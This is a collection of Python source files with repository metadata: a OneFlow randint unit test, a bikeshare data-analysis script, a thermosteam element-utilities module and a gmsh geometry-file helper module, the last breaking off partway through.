"meta": {"hexsha": "13433d234155bfb87361940b2ca4ce8a662aa4ad", "size": 8498, "ext": "py", "lang": "Python", "max_stars_repo_path": "cgmodsel/base_admm.py", "max_stars_repo_name": "franknu/cgmodsel", "max_stars_repo_head_hexsha": "b008ed88e4f10205ee0ff5e9433d5426c1d5ff6a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-01T08:39:14.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-01T08:39:14.000Z", "max_issues_repo_path": "cgmodsel/base_admm.py", "max_issues_repo_name": "franknu/cgmodsel", "max_issues_repo_head_hexsha": "b008ed88e4f10205ee0ff5e9433d5426c1d5ff6a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cgmodsel/base_admm.py", "max_forks_repo_name": "franknu/cgmodsel", "max_forks_repo_head_hexsha": "b008ed88e4f10205ee0ff5e9433d5426c1d5ff6a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-09-04T13:35:41.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-04T13:35:41.000Z", "avg_line_length": 33.8565737052, "max_line_length": 91, "alphanum_fraction": 0.5640150624, "include": true, "reason": "import numpy", "num_tokens": 2025, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1037486365654557, "lm_q1q2_score": 0.05187431828272785}}
{"text": "\"\"\"\nCopyright 2020 The OneFlow Authors. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport os\nimport unittest\nfrom collections import OrderedDict\n\nimport numpy as np\nimport oneflow as flow\n\nimport oneflow.unittest\nfrom test_util import GenArgList\n\n\ndef _test_rand(test_case, device, shape, low, high):\n    y1 = flow.randint(low, high, shape, device=flow.device(device))\n    y2 = flow.randint(low, high, shape, device=flow.device(device))\n    test_case.assertFalse(np.all(y1.numpy() == y2.numpy()))\n    test_case.assertTrue(shape == y1.shape)\n\n\ndef _test_0d_rand(test_case, device, shape, low, high):\n    y1 = flow.randint(low, high, shape, device=flow.device(device))\n    y2 = flow.randint(low, high, shape, device=flow.device(device))\n    test_case.assertTrue(\n        np.allclose(y1.numpy(), y2.numpy(), atol=1e-4, rtol=1e-4)\n    )  # 0d is [] and []\n    test_case.assertTrue(shape == y1.shape)\n\n\ndef _test_different_dtype(test_case, device, shape, low, high):\n    y1 = flow.randint(low, high, shape, dtype=flow.float32, device=flow.device(device))\n    y2 = flow.randint(low, high, shape, dtype=flow.float64, device=flow.device(device))\n    test_case.assertTrue(not np.allclose(y1.numpy(), y2.numpy(), atol=1e-4, rtol=1e-4))\n    test_case.assertTrue(shape == y1.shape)\n\n\ndef _test_backward(test_case, device, shape, low, high):\n    x = flow.randint(low, high, shape, device=flow.device(device), requires_grad=True)\n    y = x.sum()\n    y.backward()\n    test_case.assertTrue(\n        np.allclose(np.ones(shape), x.grad.numpy(), atol=1e-4, rtol=1e-4)\n    )\n\n\ndef _test_with_generator(test_case, device, shape, low, high):\n    gen = flow.Generator()\n    gen.manual_seed(0)\n    y1 = flow.randint(\n        low, high, shape, dtype=flow.float32, device=flow.device(device), generator=gen\n    )\n    y1_np = y1.numpy()\n    gen.manual_seed(0)\n    y2 = flow.randint(\n        low, high, shape, dtype=flow.float32, device=flow.device(device), generator=gen\n    )\n    test_case.assertTrue(np.allclose(y1_np, y2.numpy(), atol=1e-4, rtol=1e-4))\n\n\ndef _test_high(test_case, device, shape, low, high):\n    y1 = flow.randint(low, high, shape, device=flow.device(device))\n    y2 = flow.randint(low, high, shape, device=flow.device(device))\n    test_case.assertFalse(np.all(y1.numpy() == y2.numpy()))\n    test_case.assertTrue(shape == y1.shape)\n\n\ndef _test_0rank(test_case, device, shape, low, high):\n    y1 = flow.randint(low, high, shape, device=flow.device(device))\n    test_case.assertTrue(y1.shape == shape)\n\n\n@flow.unittest.skip_unless_1n1d()\n@unittest.skipIf(os.getenv(\"ONEFLOW_TEST_CPU_ONLY\"), \"only test cpu cases\")\nclass TestRandint(flow.unittest.TestCase):\n    def test_consistent_naive(test_case):\n        placement = flow.placement(\"cpu\", {0: [0]})\n        sbp = (flow.sbp.broadcast,)\n        x = flow.randint(0, 16, (10, 1), placement=placement, sbp=sbp)\n        test_case.assertEqual(x.sbp, sbp)\n        test_case.assertEqual(x.placement, placement)\n\n    def test_randint(test_case):\n        arg_dict = OrderedDict()\n        arg_dict[\"test_fun\"] = [\n            _test_rand,\n            _test_different_dtype,\n            _test_backward,\n            _test_with_generator,\n        ]\n        arg_dict[\"device\"] = [\"cpu\", \"cuda\"]\n        arg_dict[\"shape\"] = [(2, 3), (2, 3, 4), (2, 3, 4, 5)]\n        arg_dict[\"low\"] = [i for i in range(10)]\n        arg_dict[\"high\"] = [10 + np.random.randint(10, 20) for i in range(10)]\n        for arg in GenArgList(arg_dict):\n            arg[0](test_case, *arg[1:])\n\n    def test_0d_randint(test_case):\n        arg_dict = OrderedDict()\n        arg_dict[\"test_fun\"] = [_test_0d_rand]\n        arg_dict[\"device\"] = [\"cpu\", \"cuda\"]\n        arg_dict[\"shape\"] = [(2, 0, 4), (2, 0, 2)]\n        arg_dict[\"low\"] = [i for i in range(10)]\n        arg_dict[\"high\"] = [10 + np.random.randint(1, 20) for i in range(10)]\n        for arg in GenArgList(arg_dict):\n            arg[0](test_case, *arg[1:])\n\n    def test_high_randint(test_case):\n        arg_dict = OrderedDict()\n        arg_dict[\"test_fun\"] = [_test_high]\n        arg_dict[\"device\"] = [\"cpu\", \"cuda\"]\n        arg_dict[\"shape\"] = [(2, 3, 4), (2, 5, 2)]\n        arg_dict[\"low\"] = [i for i in range(10)]\n        arg_dict[\"high\"] = [10 + np.random.randint(10, 20) for i in range(10)]\n        for arg in GenArgList(arg_dict):\n            arg[0](test_case, *arg[1:])\n\n    def test_0rank_randint(test_case):\n        arg_dict = OrderedDict()\n        arg_dict[\"test_fun\"] = [_test_0rank]\n        arg_dict[\"device\"] = [\"cpu\", \"cuda\"]\n        arg_dict[\"shape\"] = [()]\n        arg_dict[\"low\"] = [i for i in range(10)]\n        arg_dict[\"high\"] = [1000 + np.random.randint(1, 10) for i in range(10)]\n        for arg in GenArgList(arg_dict):\n            arg[0](test_case, *arg[1:])\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "ab2335839080f7d5f4a7f5a1edd16c9741b53b3c", "size": 5295, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/oneflow/test/modules/test_randint.py", "max_stars_repo_name": "Warmchay/oneflow", "max_stars_repo_head_hexsha": "5a333ff065bb89990318de2f1bd650e314d49301", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/oneflow/test/modules/test_randint.py", "max_issues_repo_name": "Warmchay/oneflow", "max_issues_repo_head_hexsha": "5a333ff065bb89990318de2f1bd650e314d49301", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/oneflow/test/modules/test_randint.py", "max_forks_repo_name": "Warmchay/oneflow", "max_forks_repo_head_hexsha": "5a333ff065bb89990318de2f1bd650e314d49301", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.027972028, "max_line_length": 87, "alphanum_fraction": 0.6474032106, "include": true, "reason": "import numpy", "num_tokens": 1472, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10374863033033534, "lm_q1q2_score": 0.05187431516516767}}
{"text": "# Programming for Data Science with Python Nanodegree Program (module 2 Introduction to Python)\n# Python code to import US bike share data and answer interesting questions about it\n# Author: Sel Pasos\n# 8th January 2021 \n# 13th Jan 2021 Updated to correct initial errors\n\nimport time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\ncities = ['chicago', 'new york city', 'washington']\nmonths = ['all','january', 'february', 'march', 'april', 'may', 'june']\ndays = ['all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday']\n\n\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    city_choice = ''\n    while city_choice.lower() not in cities:\n        city_choice = input(\"Which city do you want to explore data from: Chicago, New York, Washington?\")\n        if city_choice in cities:\n            city = city_choice.lower()\n        else:\n            print('Invalid city choice, please select from: Chicago, New York, Washington')\n\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n    month_choice = ''\n    while month_choice.lower() not in months:\n        month_choice = input(\"Which month would you like to analyse data for: January, February, March, May, June or all?\")\n        if month_choice.lower() in months:\n            month = month_choice.lower()\n        else:\n            print('Invalid month choice, please choose from: January, February, March, May, June or all')\n    \n\n\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n    day_choice = ''\n    while day_choice.lower() not in days:\n        day_choice = input(\"Which day would you like to anayse data for: Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, Sunday or all\")\n        if day_choice.lower() in days:\n            day = day_choice.lower()\n        else:\n            print('Invaid day choise, please enter any weekday or all to analyse data for this day')\n\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    \n    #load data\n    filename = CITY_DATA.get(city)\n    df = pd.read_csv(filename)\n    \n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n    \n    # extract month and day of week from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n    df['hour'] = df['Start Time'].dt.hour\n    \n    \n    #filter data by month if applicable\n    \n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        month = months.index(month)\n        \n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n    \n    # filter data by day of week if applicable\n    if day != 'all':\n        # filter by day of week to create the new dataframe\n        df = df[df['day_of_week'] == day.title()]\n\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    \n    pop_month = df['month'].mode()[0]\n    \n    print('The most frequent month of travel is: ', pop_month.title())\n\n\n    # TO DO: display the most common day of week\n    pop_day = df['day_of_week'].mode()[0]\n    \n    print('The most frequent day of travel is: ', pop_day.title())\n\n\n    # TO DO: display the most common start hour\n    pop_hour = df['hour'].mode()[0]\n    \n    print('The most frequent start hour of travel is: ', pop_hour)\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    pop_start_st = df['Start Station'].mode()[0]\n    print('The most commonly used start station is: ', pop_start_st)\n\n\n    # TO DO: display most commonly used end station\n    pop_end_st = df['End Station'].mode()[0]\n    print('The most commonly used end station is: ', pop_end_st)\n\n\n    # TO DO: display most frequent combination of start station and end station trip\n    pop_combination = (df['Start Station'] + \"||\" + df['End Station']).mode()[0]\n    print('The most frequent combination of start station and end station trip is : ' + str(pop_combination.split(\"||\")))\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    total_travel_time = df['Trip Duration'].sum()\n    print('The total travel time the selected data is: ', total_travel_time)\n\n\n    # TO DO: display mean travel time\n    mean_travel_time = df['Trip Duration'].mean()\n    print('The average travel time the selected data is: ', mean_travel_time)\n    \n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    user_types = df['User Type'].value_counts()\n    print('The count of user types for the selected data is: \\n', user_types)\n\n\n    # TO DO: Display counts of gender\n    if city == 'washington':\n        print('No gender or birth date data has been collected for Washington, select another city to analyse this data')\n    else:\n        gender = df['Gender'].value_counts()\n        print(\"The count of user gender for the selected data is: \\n\", gender)\n\n\n        # TO DO: Display earliest, most recent, and most common year of birth\n        \n        earliest_year = df['Birth Year'].min()\n        recent_year = df['Birth Year'].max()\n        common_year = df['Birth Year'].mode()[0]\n        print('Earliest birth for the selected data is: \\n', earliest_year)\n        print('Most recent birth for the selected data is: \\n', recent_year)\n        print('Most common birth for the selected data is: \\n', common_year)\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n", "meta": {"hexsha": "0025a4e1a7e39f18401e5be28e7a5faa7e1998f3", "size": 7757, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare.py", "max_stars_repo_name": "lunasteps/pdsnd_github", "max_stars_repo_head_hexsha": "1968c1d14afa23b9343ef59bb3ac4305bfbeb984", "max_stars_repo_licenses": ["CNRI-Python"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bikeshare.py", "max_issues_repo_name": "lunasteps/pdsnd_github", "max_issues_repo_head_hexsha": "1968c1d14afa23b9343ef59bb3ac4305bfbeb984", "max_issues_repo_licenses": ["CNRI-Python"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare.py", "max_forks_repo_name": "lunasteps/pdsnd_github", "max_forks_repo_head_hexsha": "1968c1d14afa23b9343ef59bb3ac4305bfbeb984", "max_forks_repo_licenses": ["CNRI-Python"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.2918454936, "max_line_length": 144, "alphanum_fraction": 0.6383911306, "include": true, "reason": "import numpy", "num_tokens": 1894, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1037486227096331, "lm_q1q2_score": 0.05187431135481655}}
{"text": "# -*- coding: utf-8 -*-\n# BioSTEAM: The Biorefinery Simulation and Techno-Economic Analysis Modules\n# Copyright (C) 2020, Yoel Cortes-Pena <yoelcortes@gmail.com>\n# \n# This module extends the elements module from the chemicals library:\n# https://github.com/CalebBell/chemicals\n# Copyright (C) 2020 Caleb Bell <Caleb.Andrew.Bell@gmail.com>\n#\n# This module is under a dual license:\n# 1. The UIUC open-source license. See \n# github.com/BioSTEAMDevelopmentGroup/biosteam/blob/master/LICENSE.txt\n# for license details.\n# \n# 2. The MIT open-source license. See\n# https://github.com/CalebBell/chemicals/blob/master/LICENSE.txt for details.\nfrom chemicals import elements, periodic_table\nimport numpy as np\n\nelements.__all__.extend([\n    'atoms_to_array', 'array_to_atoms',\n])\n\n#: Dict[str, dict[str, int]] Cache of atomic counts.\nformula_to_atoms = {}\n\n#: Dict[str, int] Symbol - index pairs for atomic arrays.\nsymbol_to_index = {e.symbol: e.number - 1 for e in periodic_table}\n\n#: tuple[str] Symbols for atomic arrays.\nsymbols = tuple(symbol_to_index)\n\ndef atoms_to_array(atoms: dict) -> np.ndarray:\n    index = symbol_to_index\n    array = np.zeros(118)\n    for symbol, value in atoms.items():\n        array[index[symbol]] = value\n    return array\n\ndef array_to_atoms(array: np.ndarray) -> dict:\n    index, = np.where(array != 0.)\n    return dict(zip([symbols[i] for i in index], array[index]))\n\n\ndef get_atoms(formula):\n    if formula in formula_to_atoms:\n        return formula_to_atoms[formula]\n    else:\n        formula_to_atoms[formula] = atoms = elements.simple_formula_parser(formula)\n        if len(formula_to_atoms) > 50: del formula_to_atoms[next(iter(formula_to_atoms))]\n    return atoms.copy() # Prevent cached atoms from being altered\n\nelements.get_atoms = get_atoms \nelements.atoms_to_array = atoms_to_array\nelements.array_to_atoms = array_to_atoms\nelements.symbol_to_index = symbol_to_index\nelements.symbols = symbols", "meta": {"hexsha": "7b932738284d859a33c17d402d3ebb5ef7fb4edf", "size": 1925, "ext": "py", "lang": "Python", "max_stars_repo_path": "thermosteam/chemicals/elements.py", "max_stars_repo_name": "yoelcortes/thermotree", "max_stars_repo_head_hexsha": "7d7c045ed7324ff7fd69188f3176207be08d7070", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-01-10T14:23:08.000Z", "max_stars_repo_stars_event_max_datetime": "2020-02-21T20:36:49.000Z", "max_issues_repo_path": "thermosteam/chemicals/elements.py", "max_issues_repo_name": "yoelcortes/thermotree", "max_issues_repo_head_hexsha": "7d7c045ed7324ff7fd69188f3176207be08d7070", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2019-12-09T08:10:41.000Z", "max_issues_repo_issues_event_max_datetime": "2019-12-09T08:40:52.000Z", "max_forks_repo_path": "thermosteam/chemicals/elements.py", "max_forks_repo_name": "yoelcortes/thermotree", "max_forks_repo_head_hexsha": "7d7c045ed7324ff7fd69188f3176207be08d7070", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.375, "max_line_length": 89, "alphanum_fraction": 0.7392207792, "include": true, "reason": "import numpy", "num_tokens": 482, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10374862063125985, "lm_q1q2_score": 0.051874310315629925}}
{"text": "\"\"\"\nGMSH CAD support module\n=======================\n:synopsis: Manipulates ``.geo`` input files for ``gmsh``.\n\n.. moduleauthor:: Pavel Ferkl <pavel.ferkl@gmail.com>\n\"\"\"\nfrom __future__ import print_function, division\nimport os\nimport re\nimport shutil\nimport subprocess as sp\nimport numpy as np\nNAMES = {\n    'point': 'Point',\n    'line': 'Line',\n    'line_loop': 'Line Loop',\n    'surface': 'Plane Surface',\n    'surface_loop': 'Surface Loop',\n    'volume': 'Volume',\n    'periodic_surface_X': 'Periodic Surface',\n    'periodic_surface_Y': 'Periodic Surface',\n    'physical_surface': 'Physical Surface',\n    'physical_volume': 'Physical Volume'\n}\nNAME_LIST = [\n    'point',\n    'line',\n    'line_loop',\n    'surface',\n    'surface_loop',\n    'volume',\n    'periodic_surface_X',\n    'periodic_surface_Y',\n    'physical_surface',\n    'physical_volume'\n]\n\n\ndef findall_top(regex, text):\n    \"\"\"Like ``re.findall``, but returns only top level group in list.\n\n    Args:\n        regex (str): regex patern\n        text (str): text to search for patern\n\n    Returns:\n        list: list of all matches\n    \"\"\"\n    matches = re.finditer(regex, text)\n    lst = []\n    for match in matches:\n        lst.append(match.group(0))\n    return lst\n\n\ndef read_geo(geo_file, plane_surface=True):\n    \"\"\"Read ``gmsh`` input file and extract geometry information.\n\n    Uses regular expressions. Some geo files use Surface, some Plane Surface.\n    You should specify what you want to read.\n\n    Args:\n        geo_file (str): input filename\n        plane_surface (bool, optional): input file contains \"Plane Surface\"\n            keyword\n\n    Returns:\n        dict: dictionary with read lines separated into points, lines, etc.\n    \"\"\"\n    with open(geo_file, \"r\") as text_file:\n        text = text_file.read()\n        sdat = {}\n        rexp = {}\n        rexp['point'] = r'Point\\s?[(][0-9]+[)]\\s[=]\\s[{](.*?)[}][;]'\n        rexp['line'] = r'Line\\s?[(][0-9]+[)]\\s[=]\\s[{][0-9]+[,]\\s?[0-9]+[}][;]'\n        rexp['line_loop'] = (\n            r'Line\\sLoop\\s?[(][0-9]+[)]\\s[=]\\s[{]([+-]?[0-9]+[,]?\\s?)+[}][;]'\n        )\n        if plane_surface:\n            rexp['surface'] = (\n                r'Plane\\sSurface\\s?[(][0-9]+[)]\\s[=]\\s[{]([0-9]+[,]?\\s?)+[}][;]'\n            )\n        else:\n            rexp['surface'] = (\n                r'(Surface\\s[(][0-9]+[)]\\s[=]\\s[{]([0-9]+[,]?)+[}][;])'\n                + r'(?!.*Physical.*)',\n            )\n        rexp['physical_surface'] = (\n            r'Physical\\sSurface\\s?[(][0-9]+[)]\\s[=]\\s[{]([0-9]+[,]?\\s?)+[}][;]'\n        )\n        rexp['surface_loop'] = (\n            r'Surface\\sLoop\\s?[(][0-9]+[)]\\s[=]\\s[{]([+-]?[0-9]+[,]?\\s?)+[}][;]'\n        )\n        rexp['volume'] = (\n            r'Volume\\s?[(][0-9]+[)]\\s[=]\\s[{]([0-9]+[,]?\\s?)+[}][;]'\n        )\n        rexp['physical_volume'] = (\n            r'Physical\\sVolume\\s?[(][\"][a-z]+[\"][)]\\s[=]\\s'\n            + r'[{]([0-9]+[,]?\\s?)+[}][;]'\n        )\n        for key in rexp:\n            sdat[key] = findall_top(rexp[key], text)\n        return sdat\n\n\ndef fix_strings(strings):\n    \"\"\"Remove negative signs (orientation) from loops.\n\n    Used for OpenCASCADE kernel compatibility.\n\n    Args:\n        strings (list): list of line or surface loops in string format\n    \"\"\"\n    for i, line in enumerate(strings):\n        strings[i] = re.sub('[-]', '', line)\n\n\ndef save_geo(geo_file, sdat, opencascade=True):\n    \"\"\"Save ``gmsh`` CAD geometry input to file.\n\n    Input is a dictionary with prepared string lines.\n\n    Args:\n        geo_file (str): filename\n        sdat (dict): characterized geometry in string format\n        opencascade (bool, optional): prepend OpenCASCADE keyword if True\n    \"\"\"\n    with open(geo_file, \"w\") as fhl:\n        if opencascade:\n            fhl.write('SetFactory(\"OpenCASCADE\");\\n')\n        for key in NAME_LIST:\n            if key in sdat:\n                for line in sdat[key]:\n                    fhl.write(\"{}\\n\".format(line))\n\n\ndef geo2brep(geo_file, brep_file):\n    \"\"\"Convert ``gmsh`` CAD geometry to BREP format.\n\n    ``gmsh`` is used for the conversion. A temporary file ``geo2brep.geo`` is\n    created (overwrites existing file if it exists).\n\n    Args:\n        geo_file (str): input filename\n        brep_file (str): output filename\n    \"\"\"\n    wfile = 'geo2brep.geo'\n    with open(wfile, \"w\") as fhl:\n        fhl.write('SetFactory(\"OpenCASCADE\");\\n')\n        fhl.write('Merge \"{}\";\\n'.format(geo_file))\n        fhl.write('Save \"{}\";\\n'.format(brep_file))\n    sp.Popen(['gmsh', wfile, '-parse_and_exit']).wait()\n    os.remove(wfile)\n\n\ndef brep2geo(brep_file, geo_file):\n    \"\"\"Convert BREP CAD geometry to ``gmsh`` native format.\n\n    ``gmsh`` is used for the conversion. A temporary file ``brep2geo.geo`` is\n    created (overwrites existing file if it exists).\n\n    Args:\n        brep_file (str): input filename\n        geo_file (str): output filename\n    \"\"\"\n    wfile = 'brep2geo.geo'\n    with open(wfile, \"w\") as fhl:\n        fhl.write('SetFactory(\"OpenCASCADE\");\\n')\n        fhl.write('Merge \"{}\";\\n'.format(brep_file))\n    sp.Popen(['gmsh', wfile, '-0']).wait()\n    shutil.move(wfile + '_unrolled', geo_file)\n    os.remove(wfile)\n\n\ndef extract_data(sdat):\n    \"\"\"Extract ``gmsh`` geometry data read by :func:`read_geo`.\n\n    Only coordinates are taken from points. Point sizing if any is discarded.\n\n    Opposite of :func:`collect_strings`.\n\n    Args:\n        sdat(dict): geometry data in string format\n\n    Returns:\n        dict: extracted geometry data\n    \"\"\"\n    edat = {}\n    for key in sdat:\n        lines = dict()\n        for line in sdat[key]:\n            part = line.split(\"(\")\n            if key == \"physical_volume\":\n                ind = part[1].split(\")\")[0]  # ID of the element\n                if ind == '\"cells\"':\n                    ind = 1\n                elif ind == '\"walls\"':\n                    ind = 2\n            else:\n                ind = int(part[1].split(\")\")[0])  # ID of the element\n            fraction = line.split(\"{\")\n            fraction = fraction[1].split(\"}\")\n            fraction = fraction[0].split(\",\")\n            if key == \"point\":  # point data consists of floats\n                # ignore the optional fourth argument (defines mesh coarseness)\n                fraction = np.array(fraction[0:3])\n                fraction = fraction.astype(np.float)\n                for j, number in enumerate(fraction):\n                    if abs(number) < 1e-8:\n                        fraction[j] = 0\n            else:  # other data consists of integers\n                fraction = np.array(fraction)\n                fraction = np.absolute(fraction.astype(np.int)).tolist()\n            lines[ind] = fraction\n        edat[key] = lines\n    return edat\n\n\ndef collect_strings(edat):\n    \"\"\"Convert extracted data to string format.\n\n    Opposite of :func:`extract_data`.\n\n    Args:\n        edat(dict): extracted geometry data\n\n    Returns:\n        dict: geometry data in string format\n    \"\"\"\n    sdat = {}\n    for key in edat:\n        sdat[key] = []\n        if key == 'periodic_surface_X':\n            for j in edat[key]:\n                sdat[key].append(\n                    '{0} {{{1}}} = {{{2}}} Translate{{-1,0,0}};'.format(\n                        NAMES[key], j[0], j[1]\n                    )\n                )\n        elif key == 'periodic_surface_Y':\n            for j in edat[key]:\n                sdat[key].append(\n                    '{0} {{{1}}} = {{{2}}} Translate{{0,-1,0}};'.format(\n                        NAMES[key], j[0], j[1]\n                    )\n                )\n        else:\n            for i, j in edat[key].items():\n                j = ','.join(str(e) for e in j)\n                sdat[key].append('{0} ({1}) = {{{2}}};'.format(\n                    NAMES[key], i, j\n                ))\n    return sdat\n\n\ndef surfaces_in_plane(edat, coord, direction):\n    \"\"\"Finds surfaces that lie completely in specified plane.\n\n    Plane must be normal to one of cartesian axes.\n\n    Args:\n        edat (dict): extracted geometry data\n        coord (float): point on the chosen axis\n        direction (int): order of coordinate axis\n\n    Returns:\n        list: line loops in specified plane\n    \"\"\"\n    points_in_plane = []\n    for i, point in edat['point'].items():\n        if point[direction] == coord:\n            points_in_plane.append(i)\n    lines_in_plane = []\n    for i, line in edat['line'].items():\n        if line[0] in points_in_plane and line[1] in points_in_plane:\n            lines_in_plane.append(i)\n    line_loops_in_plane = []\n    for i, line_loop in edat['line_loop'].items():\n        log = True\n        for line in line_loop:\n            if line not in lines_in_plane:\n                log = False\n        if log:\n            line_loops_in_plane.append(i)\n    return line_loops_in_plane\n\n\ndef other_surfaces(edat, surfs):\n    \"\"\"Find boundary surfaces, which are not in ``surfs``.\n\n    Assumes that inner surfaces are shared by two volumes. Remove duplicates\n    before calling this function.\n\n    Args:\n        edat (dict): extracted geometry data\n        surfs (list): list of surfaces, which should not be returned\n\n    Returns:\n        list: boundary surfaces, which are not in ``surfs``\n    \"\"\"\n    all_surfaces = []\n    for surface_loops in edat['volume'].values():\n        for surface_loop in surface_loops:\n            for surfaces in edat['surface_loop'][surface_loop]:\n                all_surfaces += edat['surface'][surfaces]\n    count = dict()\n    for surface in all_surfaces:\n        if surface in count:\n            count[surface] += 1\n        else:\n            count[surface] = 1\n    surf = [\n        i for i, j in count.items() if j == 1\n        and i not in surfs\n    ]\n    return surf\n\n\ndef periodic_surfaces(edat, surfaces, vec, eps=1e-8):\n    \"\"\"Find periodic surface pairs in specified direction.\n\n    Only linear periodicity is supported. Checks for surfaces with points\n    offset by specified vector within a tolerance.\n\n    Args:\n        edat (dict): extracted geometry data\n        surfaces (list): boundary surfaces\n        vec (ndarray): offset vector specification\n        eps (float, optional): tolerance\n\n    Returns:\n        list: periodic surface pairs\n    \"\"\"\n    surface_points = dict()  # point IDs for each boundary surface\n    boundary_points = dict()  # dictionary with only boundary points\n    for surface in surfaces:\n        surface_points[surface] = []\n        for line in edat['line_loop'][surface]:\n            for point in edat['line'][line]:\n                if point not in surface_points[surface]:\n                    surface_points[surface] += [point]\n                if point not in boundary_points:\n                    boundary_points[point] = edat['point'][point]\n    # sort point IDs so that you can compare later\n    for point in surface_points.values():\n        point.sort()\n    # dictionary with ID of periodic point for each point that has one\n    periodic_points = dict()\n    for i, point in boundary_points.items():\n        for j, secondpoint in boundary_points.items():\n            if np.sum(np.abs(point + vec - secondpoint)) < eps:\n                periodic_points[i] = j\n    psurfs = []  # list of periodic surface pairs (IDs)\n    for i, surface in surface_points.items():\n        # Try to create surface using 